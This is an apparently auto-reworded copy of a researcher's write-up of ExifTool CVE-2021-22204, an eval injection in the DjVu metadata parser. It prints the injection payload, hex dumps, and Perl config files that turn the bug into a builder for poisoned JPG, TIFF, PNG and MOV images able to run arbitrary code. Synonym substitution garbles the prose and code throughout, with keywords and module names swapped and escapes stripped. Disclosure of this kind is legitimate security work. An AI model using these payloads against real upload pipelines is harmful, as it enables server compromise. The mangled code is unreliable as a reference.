Now Reading
ExifTool CVE-2021-22204 – Arbitrary Code Execution

ExifTool CVE-2021-22204 – Arbitrary Code Execution

2024-01-27 05:58:02

Background

Whereas certainly one of my favourite bug bounty programs, I observed they have been utilizing ExifTool to strip tags from uploaded photographs. I’d used ExifTool quite a few instances previously however didn’t even know what language it was written in. An older model was getting used (11.70), so I believed possibly there may very well be some present CVEs that may very well be abused, as parsing file codecs is difficult.

A fast search confirmed just one previous CVE from 2018, so determined to have a look at the supply as an alternative. It seems that it’s written in Perl! I’ve by no means actually used or reviewed Perl code earlier than, however being a dynamic scripting language the vast majority of the final ideas have been acquainted.

I began searching for locations that carried out file entry however with out a lot success. I then appeared for locations that known as eval, and it turned out that it was used lots:
eval search

In Perl, eval can be utilized with a block to trap exceptions which is why it was getting used all over the place. Ignoring all of the eval blocks, there have been nonetheless a good few fascinating outcomes. One in all these was situated within the ParseAnt methodology of the DjVu module:

#------------------------------------------------------------------------------
# Parse DjVu annotation "s-expression" syntax (recursively)
# Inputs: 0) knowledge ref (with pos($$dataPt) set to start out of annotation)
# Returns: reference to listing of tokens/references, or undef if no tokens,
#          and the place in $$dataPt is ready to finish of final token
# Notes: The DjVu annotation syntax shouldn't be nicely documented, so I make
#        a lot of assumptions right here!
sub ParseAnt($)
{
    my $dataPt = shift;
    my (@toks, $tok, $extra);
    # (the DjVu annotation syntax actually sucks, and requires that each
    # single token be parsed to be able to correctly scan by the gadgets)
Tok: for (;;) {
        # discover the subsequent token
        final until $$dataPt =~ /(S)/sg;   # get subsequent non-space character
        if ($1 eq '(') {       # begin of listing
            $tok = ParseAnt($dataPt);
        } elsif ($1 eq ')') {  # finish of listing
            $extra = 1;
            final;
        } elsif ($1 eq '"') {  # quoted string
            $tok = '';
            for (;;) {
                # get string as much as the subsequent citation mark
                # this does not work in perl 5.6.2! grrrr
                # final Tok until $$dataPt =~ /(.*?)"/sg;
                # $tok .= $1;
                my $pos = pos($$dataPt);
                final Tok until $$dataPt =~ /"/sg;
                $tok .= substr($$dataPt, $pos, pos($$dataPt)-1-$pos);
                # we're good until quote was escaped by odd variety of backslashes
                final until $tok =~ /(+)$/ and size($1) & 0x01;
                $tok .= '"';    # quote is a part of the string
            }
            # should shield unescaped "$" and "@" symbols, and "" at finish of string
            $tok =~ s$) $1)sge;
            # convert C escape sequences (allowed in quoted textual content)
            $tok = eval qq{"$tok"};
        } else {                # key identify
            pos($$dataPt) = pos($$dataPt) - 1;
            # permit something in key however whitespace, braces and double quotes
            # (that is a type of assumptions I discussed)
            $tok = $$dataPt =~ /([^s()"]+)/sg ? $1 : undef;
        }
        push @toks, $tok if outlined $tok;
    }
    # stop additional parsing until extra after this
    pos($$dataPt) = size $$dataPt until $extra;
    return @toks ? @toks : undef;
}

I had no concept what a DjVu file was, however the ParseAnt methodology was pretty nicely commented. The block that contained the eval was when the present match was a quote:

  $tok = '';
  for (;;) {
      # get string as much as the subsequent citation mark
      # this does not work in perl 5.6.2! grrrr
      # final Tok until $$dataPt =~ /(.*?)"/sg;
      # $tok .= $1;
      my $pos = pos($$dataPt);
      final Tok until $$dataPt =~ /"/sg;
      $tok .= substr($$dataPt, $pos, pos($$dataPt)-1-$pos);
      # we're good until quote was escaped by odd variety of backslashes
      final until $tok =~ /(+)$/ and size($1) & 0x01;
      $tok .= '"';    # quote is a part of the string
  }
  # should shield unescaped "$" and "@" symbols, and "" at finish of string
  $tok =~ s$) $1)sge;
  # convert C escape sequences (allowed in quoted textual content)
  $tok = eval qq{"$tok"};

It could construct up a string till one other quote was discovered, taking into consideration quotes escaped with a backslash. There was then some regex to flee particular characters earlier than passing it quoted to qq after which lastly passing the consequence to eval. From the feedback, this was completed to assist C escape sequences, which I suppose are comparable in Perl. The particular characters being escaped have been making an attempt to stop any string interpolation or breaking out of the double quotes when the eval was run.

To check out a couple of issues, I wished to have the ability to hit the ParseAnt from a picture. Fortunately there was an example DjVu.djvu picture, however sadly, it was utilizing the compressed model of the chunk ANTz as an alternative of the textual content ANTa.

Wanting on the file in a hex editor, the format appeared pretty easy. There was the string DJVIANTz adopted by the hex 000002E0. Since that corresponded to the remaining variety of bytes within the file, it was more than likely the size of the tag. I added a print($$dataPt); to the ProcessAnt methodology and ran exiftool on the djvu picture and the next was printed out:

(metadata
        (Creator "Phil Harvey")
        (Title "DjVu Metadata Pattern")
        (Topic "ExifTool DjVu take a look at picture")
        (Creator "ExifTool")
        (CreationDate "2008-09-23T12:31:34-04:00")
        (ModDate "2008-11-11T09:17:10-05:00")
        (Key phrases "ExifTool, Check, DjVu, XMP")
        (Producer "djvused")
        (notice "Should escape double quotes (") and backslashes ()")
        (Trapped "Unknown")
        (annote "Did you get this?")
        (url "https://exiftool.org/") )
(xmp "<rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">nn <rdf:Description rdf:about=""n  xmlns:album="http://ns.adobe.com/album/1.0/">n  <album:Notes>Should escape double quotes (&quot;) and backslashes ()</album:Notes>n </rdf:Description>nn <rdf:Description rdf:about=""n  xmlns:dc="http://purl.org/dc/parts/1.1/">n  <dc:creator>n   <rdf:Seq>n    <rdf:li>Phil Harvey</rdf:li>n   </rdf:Seq>n  </dc:creator>n  <dc:description>n   <rdf:Alt>n    <rdf:li xml:lang='x-default'>ExifTool DjVu take a look at picture</rdf:li>n   </rdf:Alt>n  </dc:description>n  <dc:rights>n   <rdf:Alt>n    <rdf:li xml:lang='x-default'>Copyright 2008 Phil Harvey</rdf:li>n   </rdf:Alt>n  </dc:rights>n  <dc:topic>n   <rdf:Bag>n    <rdf:li>ExifTool</rdf:li>n    <rdf:li>Check</rdf:li>n    <rdf:li>DjVu</rdf:li>n    <rdf:li>XMP</rdf:li>n   </rdf:Bag>n  </dc:topic>n  <dc:title>n   <rdf:Alt>n    <rdf:li xml:lang='x-default'>DjVu Metadata Pattern</rdf:li>n   </rdf:Alt>n  </dc:title>n </rdf:Description>nn <rdf:Description rdf:about=""n  xmlns:pdf="http://ns.adobe.com/pdf/1.3/">n  <pdf:Key phrases>ExifTool, Check, DjVu, XMP</pdf:Key phrases>n  <pdf:Producer>djvused</pdf:Producer>n  <pdf:Trapped>/Unknown</pdf:Trapped>n </rdf:Description>nn <rdf:Description rdf:about=""n  xmlns:xmp='http://ns.adobe.com/xap/1.0/'>n  <xmp:CreateDate>2008-09-23T12:31:34-04:00</xmp:CreateDate>n  <xmp:CreatorTool>ExifTool</xmp:CreatorTool>n  <xmp:ModifyDate>2008-11-11T09:17:10-05:00</xmp:ModifyDate>n </rdf:Description>n</rdf:RDF>")

<snip>

Creator                          : Phil Harvey
Create Date                     : 2008:09:23 12:31:34-04:00
Modify Date                     : 2008:11:11 09:17:10-05:00
Key phrases                        : ExifTool, Check, DjVu, XMP

So the metadata format appears to be bracket indented beginning with metadata and adopted by tag identify and quoted worth pairs. I edited the file changing the DJVIANTz... block with DJVIANTax00x00x00!(metadata (Creator "Phil Harvey")), re-ran exiftool, and the creator tag was extracted and displayed!

The Bug

Now I had a approach that I might rapidly take a look at totally different combos, which I mixed by including extra print traces to show every time the $tok was modified. I used to be testing totally different combos of latest traces and backslashes when the next error was proven:

String discovered the place operator anticipated at (eval 8) line 2, at finish of line
        (Lacking semicolon on earlier line?)

I had used a backslash adopted by a newline then a double quote which arduous resulted within the following being evaled:

The second quote was not escaped as a result of within the regex $tok =~ /(+)$/ the $ will match the top of a string, but in addition match before a newline at the end of a string, so the code thinks that the quote is being escaped when it’s escaping the newline.

This was fairly thrilling as all that was wanted was to make it legitimate Perl and it might be evaled! I alter the metadata to remark out the trailing quote and execute and return date:

(metadata
    (Creator "
" . return `date`; #")
)

Operating exiftool on the brand new picture leading to code execution!

ExifTool Model Quantity         : 12.23
File Title                       : DjVu.djvu
File Measurement                       : 376 bytes
File Modification Date/Time     : 2021:05:04 22:50:09+10:00
File Entry Date/Time           : 2021:05:04 22:50:09+10:00
File Inode Change Date/Time     : 2021:05:04 22:50:09+10:00
File Permissions                : -rw-r--r--
File Kind                       : DJVU (multi-page)
File Kind Extension             : djvu
MIME Kind                       : picture/vnd.djvu
Subfile Kind                    : Single-page picture
Picture Width                     : 8
Picture Peak                    : 8
DjVu Model                    : 0.24
Spatial Decision              : 100
Gamma                           : 2.2
Orientation                     : Unknown (0)
Included File ID                : shared_anno.iff
Creator                          : Tue  4 Could 2021 22:51:12 AEST.
Picture Measurement                      : 8x8
Megapixels                      : 0.000064

Further Codecs

Having code execution by simply passing an unknown file to ExifTool was fairly superb, however what can be even higher was if the bug may very well be trigged with a legitimate picture in a extra frequent format. That approach even when some validation was carried out on the picture earlier than being handed to ExifTool (for instance guaranteeing that it’s a png or jpeg) then it might nonetheless work.

I began trying to see if anything used the DjVu module, however it was solely referenced by the AIFF module and no different codecs referenced that one. I remembered that ExifTool may very well be used to embed and extract jpeg thumbnails, however wanting the place ThumbnailImage was used it didn’t appear to attempt to parse the embedded picture.

That lead me to search for features that did parse the picture metadata:

#------------------------------------------------------------------------------
# Extract meta data from picture
# Inputs: 0) ExifTool object reference
#         1-N) Identical as ImageInfo()
# Returns: 1 if this was a legitimate picture, 0 in any other case
# Notes: move an undefined worth to keep away from parsing arguments
# Inner 'ReEntry' choice permits this routine to be known as recursively
sub ExtractInfo($;@)

Apparently the remark talked about that this may very well be known as recursively if the ReEntry choice was specified. the place ExtractInfo was getting used lead me to the Exif module:

%Picture::ExifTool::Exif::Essential = (
  # SNIP

  0xc51b => { # (Hasselblad H3D)
        Title => 'HasselbladExif',
        Format => 'undef',
        RawConv => q{
            $$self{DOC_NUM} = ++$$self{DOC_COUNT};
            $self->ExtractInfo($val, { ReEntry => 1 });
            $$self{DOC_NUM} = 0;
            return undef;
        },
    },

So if the EXIF tag 0xc51b was discovered, the worth can be handed to ExtractInfo and the metadata can be parsed, permitting the DjVu bug to be hit! The outline on the high of the Exif module was Learn EXIF/TIFF meta data, so I began studying in regards to the TIFF format.

There was a pattern tif within the take a look at information, and working exiftools with -v10 was very useful:

exiftool -v10 ./t/photographs/ExifTool.tif
  ExifToolVersion = 11.85
  FileName = ExifTool.tif
  Listing = ./t/photographs
  FileSize = 4864
  FileModifyDate = 1618544560
  FileAccessDate = 1618544564
  FileInodeChangeDate = 1618974185
  FilePermissions = 33188
  FileType = TIFF
  FileTypeExtension = TIF
  MIMEType = picture/tiff
  ExifByteOrder = MM
  + [IFD0 directory with 22 entries]
  | 0)  SubfileType = 0
  |     - Tag 0x00fe (4 bytes, int32u[1]):
  |         0012: 00 00 00 00                                     [....]
  | 1)  ImageWidth = 160
  |     - Tag 0x0100 (4 bytes, int32u[1]):
  |         001e: 00 00 00 a0                                     [....]
  | 2)  ImageHeight = 120
  |     - Tag 0x0101 (4 bytes, int32u[1]):
  |         002a: 00 00 00 78                                     [...x]
  | 3)  BitsPerSample = 8 8 8
  |     - Tag 0x0102 (6 bytes, int16u[3]):
  |         0116: 00 08 00 08 00 08                               [......]
  | 4)  Compression = 5
  |     - Tag 0x0103 (2 bytes, int16u[1]):
  |         0042: 00 05                                           [..]
  | 5)  PhotometricInterpretation = 2
  |     - Tag 0x0106 (2 bytes, int16u[1]):
  |         004e: 00 02                                           [..]
  | 6)  ImageDescription = The image caption
  |     - Tag 0x010e (20 bytes, string[20]):
  |         011c: 54 68 65 20 70 69 63 74 75 72 65 20 63 61 70 74 [The picture capt]
  |         012c: 69 6f 6e 00                                     [ion.]
  | 7)  Make = Canon
  |     - Tag 0x010f (6 bytes, string[6]):
  |         0130: 43 61 6e 6f 6e 00                               [Canon.]
  | 8)  Mannequin = Canon EOS DIGITAL REBEL
  |     - Tag 0x0110 (24 bytes, string[24]):
  |         0136: 43 61 6e 6f 6e 20 45 4f 53 20 44 49 47 49 54 41 [Canon EOS DIGITA]
  |         0146: 4c 20 52 45 42 45 4c 00                         [L REBEL.]
  | 9)  StripOffsets = 3816
  |     - Tag 0x0111 (4 bytes, int32u[1]):
  |         007e: 00 00 0e e8                                     [....]
  | 10) SamplesPerPixel = 3
  |     - Tag 0x0115 (2 bytes, int16u[1]):
  |         008a: 00 03                                           [..]
  | 11) RowsPerStrip = 120
  |     - Tag 0x0116 (4 bytes, int32u[1]):
  |         0096: 00 00 00 78                                     [...x]
  | 12) StripByteCounts = 1048
  |     - Tag 0x0117 (4 bytes, int32u[1]):
  |         00a2: 00 00 04 18                                     [....]
  | 13) XResolution = 180 (1800/10)
  |     - Tag 0x011a (8 bytes, rational64u[1]):
  |         014e: 00 00 07 08 00 00 00 0a                         [........]
  | 14) YResolution = 180 (1800/10)
  |     - Tag 0x011b (8 bytes, rational64u[1]):
  |         0156: 00 00 07 08 00 00 00 0a                         [........]
  | 15) PlanarConfiguration = 1
  |     - Tag 0x011c (2 bytes, int16u[1]):
  |         00c6: 00 01                                           [..]
  | 16) ResolutionUnit = 2
  |     - Tag 0x0128 (2 bytes, int16u[1]):
  |         00d2: 00 02                                           [..]
  | 17) Software program = GraphicConverter
  |     - Tag 0x0131 (17 bytes, string[17]):
  |         015e: 47 72 61 70 68 69 63 43 6f 6e 76 65 72 74 65 72 [GraphicConverter]
  |         016e: 00                                              [.]
  | 18) ModifyDate = 2004:02:20 08:07:49
  |     - Tag 0x0132 (20 bytes, string[20]):
  |         0170: 32 30 30 34 3a 30 32 3a 32 30 20 30 38 3a 30 37 [2004:02:20 08:07]
  |         0180: 3a 34 39 00                                     [:49.]
  | 19) Predictor = 1
  |     - Tag 0x013d (2 bytes, int16u[1]):
  |         00f6: 00 01                                           [..]
  | 20) IPTC-NAA (SubDirectory) -->
  |     - Tag 0x83bb (284 bytes, int32u[71] learn as undef[284]):
  |         0184: 1c 02 00 00 02 00 02 1c 02 78 00 13 54 68 65 20 [.........x..The ]
  |         0194: 70 69 63 74 75 72 65 20 63 61 70 74 69 6f 6e 1c [picture caption.]
  |         01a4: 02 7a 00 0a 49 20 77 72 6f 74 65 20 69 74 1c 02 [.z..I wrote it..]
  |         01b4: 28 00 0f 6e 6f 20 69 6e 73 74 72 75 63 74 69 6f [(..no instructio]
  |         01c4: 6e 73 1c 02 50 00 0e 49 27 6d 20 74 68 65 20 61 [ns..P..I'm the a]
  |         01d4: 75 74 68 6f 72 1c 02 55 00 06 4f 6e 20 74 6f 70 [uthor..U..On top]
  |         01e4: 1c 02 6e 00 0b 50 68 69 6c 20 48 61 72 76 65 79 [..n..Phil Harvey]
  |         01f4: 1c 02 73 00 09 4d 79 20 63 61 6d 65 72 61 1c 02 [..s..My camera..]
  |         0204: 05 00 11 54 68 69 73 20 69 73 20 74 68 65 20 74 [...This is the t]
  |         0214: 69 74 6c 65 1c 02 37 00 08 32 30 30 34 30 32 32 [itle..7..2004022]
  |         0224: 30 1c 02 5a 00 08 4b 69 6e 67 73 74 6f 6e 1c 02 [0..Z..Kingston..]
  |         0234: 5f 00 07 4f 6e 74 61 72 69 6f 1c 02 65 00 06 43 [_..Ontario..e..C]
  |         0244: 61 6e 61 64 61 1c 02 67 00 0c 6e 6f 20 72 65 66 [anada..g..no ref]
  |         0254: 65 72 65 6e 63 65 1c 02 19 00 08 65 78 69 66 74 [erence.....exift]
  |         0264: 6f 6f 6c 1c 02 19 00 04 74 65 73 74 1c 02 19 00 [ool.....test....]
  |         0274: 07 70 69 63 74 75 72 65 1c 02 74 00 10 43 6f 70 [.picture..t..Cop]
  |         0284: 79 72 69 67 68 74 20 6e 6f 74 69 63 65 1c 02 69 [yright notice..i]
  |         0294: 00 08 68 65 61 64 6c 69 6e 65 00 00             [..headline..]
  | + [IPTC directory, 284 bytes]
  ...

Opening the file in a hex editor and looking for the tag id 83BB discovered the next sequence 83BB00040000004700000184. Referring to format doc this could match up with the tif tag:

typedef struct _TifTag
{
	WORD   TagId;       /* The tag identifier  */
	WORD   DataType;    /* The scalar sort of the information gadgets  */
	DWORD  DataCount;   /* The variety of gadgets within the tag knowledge  */
	DWORD  DataOffset;  /* The byte offset to the information gadgets  */
} TIFTAG;

So the tag id is 0x83BB, the datatype is 4, the depend is 0x47 (71) and the offset 0x184 (388). The info sort of 4 is a 32-bit unsigned integer, which all matches with the knowledge supplied by the verbose output. Merely altering 0x83BB to 0xC51B and rerunning exiftool had it choosing up the HasselbladExif tag! I then changed the entire tag worth with a brief payload that might set off the eval:

See Also

$ exiftool -v10 ./t/photographs/ExifTool.tif
...
  | 19) Predictor = 1
  |     - Tag 0x013d (2 bytes, int16u[1]):
  |         00f6: 00 01                                           [..]
  | 20) HasselbladExif = AT&TFORM.DJVUANTa..(metadata.    (Creator "." . return `date`; #")
  |     - Tag 0xc51b (284 bytes, int32u[71] learn as undef[284]):
  |         0184: 41 54 26 54 46 4f 52 4d 00 00 00 08 44 4a 56 55 [AT&TFORM....DJVU]
  |         0194: 41 4e 54 61 00 00 01 04 28 6d 65 74 61 64 61 74 [ANTa....(metadat]
  |         01a4: 61 0a 20 20 20 20 28 41 75 74 68 6f 72 20 22 5c [a.    (Author "]
  |         01b4: 0a 22 20 2e 20 72 65 74 75 72 6e 20 60 64 61 74 [." . return `dat]
  |         01c4: 65 60 3b 20 23 22 29 20 20 20 20 20 20 20 20 20 [e`; #")         ]
  |         01d4: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]
  |         01e4: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]
  |         01f4: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]
  |         0204: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]
  |         0214: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]
  |         0224: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]
  |         0234: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]
  |         0244: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]
  |         0254: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]
  |         0264: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]
  |         0274: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]
  |         0284: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]
  |         0294: 20 20 20 20 20 20 20 20 20 20 20 20             [            ]
  | FileType = DJVU
  | FileTypeExtension = DJVU
  | MIMEType = picture/vnd.djvu
AIFF 'ANTa' chunk (260 bytes of information): 24
  | ANTa (SubDirectory) -->
  | - Tag 'ANTa' (260 bytes):
  |     0018: 28 6d 65 74 61 64 61 74 61 0a 20 20 20 20 28 41 [(metadata.    (A]
  |     0028: 75 74 68 6f 72 20 22 5c 0a 22 20 2e 20 72 65 74 [uthor "." . ret]
  |     0038: 75 72 6e 20 60 64 61 74 65 60 3b 20 23 22 29 20 [urn `date`; #") ]
  |     0048: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]
  |     0058: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]
  |     0068: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]
  |     0078: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]
  |     0088: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]
  |     0098: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]
  |     00a8: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]
  |     00b8: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]
  |     00c8: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]
  |     00d8: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]
  |     00e8: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]
  |     00f8: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]
  |     0108: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]
  |     0118: 20 20 20 20                                     [    ]
  | | Metadata (SubDirectory) -->
  | | + [Metadata directory with 1 entries]
  | | | Creator = Thu  6 Could 2021 21:06:17 AEST.

Nice so now the payload may very well be triggered from a legitimate tif! What’s extra, the EXIF knowledge is utilized in fairly a couple of different codecs:

EXIF stands for "Exchangeable Picture File Format".  Any such data
is formatted in line with the TIFF specification, and could also be present in JPG,
TIFF, PNG, JP2, PGF, MIFF, HDP, PSP and XCF photographs, in addition to many
TIFF-based RAW photographs, and even some AVI and MOV movies.

As an alternative of manually enhancing the information every time, it might be nice if there was a device designed to edit picture metadata. It seems ExifTool permits you to create your own tag tables with a config file utilizing Picture::ExifTool::UserDefined. After a little bit of trial and error I had the next eval.config file:

%Picture::ExifTool::UserDefined = (
    'Picture::ExifTool::Exif::Essential' => {
        0xc51b => {
            Title => 'eval',
            Binary => 1,
            Writable => 'undef',
            WriteGroup => 'IFD0',
            ValueConvInv => sub {
                use MIME::Base64;
                my $val = shift;
                $encoded = encode_base64($val);
                my $meta = qq/(metadata(Copyright "n" eq ''; return (eval { use MIME::Base64; eval(decode_base64(q%$encoded%)); });#"))/;
                my $len = pack "N", size($meta);
                my $payload = qq/AT&TFORMx00x00x00x08DJVUANTa$len$meta/;
                return $payload;
            }
        }
    }
)

This allow you to add the HasselbladExif tag to any format that exiftool might write EXIF tags to (eg jpg, tif, png):

$ exiftool -config eval.config picture.jpg -eval="system("echo ggg")"
$ exiftool picture.jpg
$ exiftool picture.jpg
ggg
ExifTool Model Quantity         : 11.85
File Title                       : picture.jpg
Listing                       : .
File Measurement                       : 11 kB

Bonus Codecs

Any of the codecs that use the tag desk Picture::ExifTool::Exif::Essential, name ExtractInfo, ProcessTIFF, ProcessExif, or course of any of the susceptible formates can probably be used as nicely. An incomplete listing:

If a zipper file incorporates meta.json then it would have ExtractInfo known as on it.

if ($extract{$file}) {
    ($buff, $standing) = $zip->contents($member);
    $standing and $et->Warn("Error extracting $file"), subsequent;
    if ($file eq 'meta.json') {
        $et->ExtractInfo($buff, { ReEntry => 1 });
        if ($$et{VALUE}{App} and $$et{VALUE}{App} =~ /sketch/i) {
            $et->OverrideFileType('SKETCH');
        }

If a PDF makes use of the DCTDecode or JPXDecode filters then ExtractInfo will likely be known as on it.

if ($filter eq '/DCTDecode' or $filter eq '/JPXDecode') {
    DecodeStream($et, $dict) or final;
    # save the picture itself
    $et->FoundTag($tagInfo, $$dict{_stream});
    # extract data from embedded picture
    $consequence = $et->ExtractInfo($$dict{_stream}, { ReEntry => 1 });

The EXIF tag will likely be processed as a tiff. ExifTool doesn’t assist writing to AVIs, however one of many JUNK tags used for alignment within the AVI might simply get replaced with EXIF and a tiff/exif payload.

    EXIF => [{ # (WebP)
        Title => 'EXIF',
        Situation => '$$valPt =~ /^(IIx2a|MMx2a)/',
        Notes => 'WebP information',
        SubDirectory => {
            TagTable => 'Picture::ExifTool::Exif::Essential',
            ProcessProc => &Picture::ExifTool::ProcessTIFF,

The UserData tag RMKN will likely be processed as a tiff which is able to then its exif knowledge parsed.

    RMKN => { #PH (GR)
        Title => 'RicohRMKN',
        SubDirectory => {
            TagTable => 'Picture::ExifTool::Exif::Essential',
            ProcessProc => &Picture::ExifTool::ProcessTIFF, # (as a result of ProcessMOV is default)

The config file from earlier than may be modified so as to add assist for writing to this tag:

use MIME::Base64;

sub GetDjVu {
    my ($val) = @_;
    $encoded = encode_base64($val);
    my $meta = qq/(metadata(Copyright "n" eq ''; return (eval { use MIME::Base64; eval(decode_base64(q%$encoded%)); });#"))/;
    my $len = pack "N", size($meta);
    my $payload = qq/AT&TFORMx00x00x00x08DJVUANTa$len$meta/;
    return $payload;
}

sub GetTiff {
    my ($val) = @_;
    my $payload = GetDjVu($val);
    my $len = pack "N", size($payload) + 1;
    my $tif =
        "MMx00*x00x00x00x08x00x05x01x1ax00x05x00x00x00x01x00x00x00Jx01x1bx00x05x00x00x00x01x00" .
        "x00x00Rx01(x00x03x00x00x00x01x00x03x00x00x02x13x00x03x00x00x00x01x00x01x00x00xc5x1bx00x07" .
        "$lenx00x00x00Zx00x00x00x00x00x00x00%x00x00x00x01x00x00x00%x00x00x00x01" .
        "$payloadx00";
    return $tif;
}

%Picture::ExifTool::UserDefined = (
    'Picture::ExifTool::Exif::Essential' => {
        0xc51b => {
            Title => 'eval',
            Binary => 1,
            Writable => 'undef',
            WriteGroup => 'IFD0',
            ValueConvInv => sub {
                return GetDjVu(shift);
            }
        }
    },

    'Picture::ExifTool::QuickTime::UserData' => {
        'RMKN' => {
            Title => 'eval',
            Binary => 1,
            Writable => 'undef',
            ValueConvInv => sub {
                return GetTiff(shift);
            }
        }
    }
)

References

Source Link

What's Your Reaction?
Excited
0
Happy
0
In Love
0
Not Sure
0
Silly
0
View Comments (0)

Leave a Reply

Your email address will not be published.

2022 Blinking Robots.
WordPress by Doejo

Scroll To Top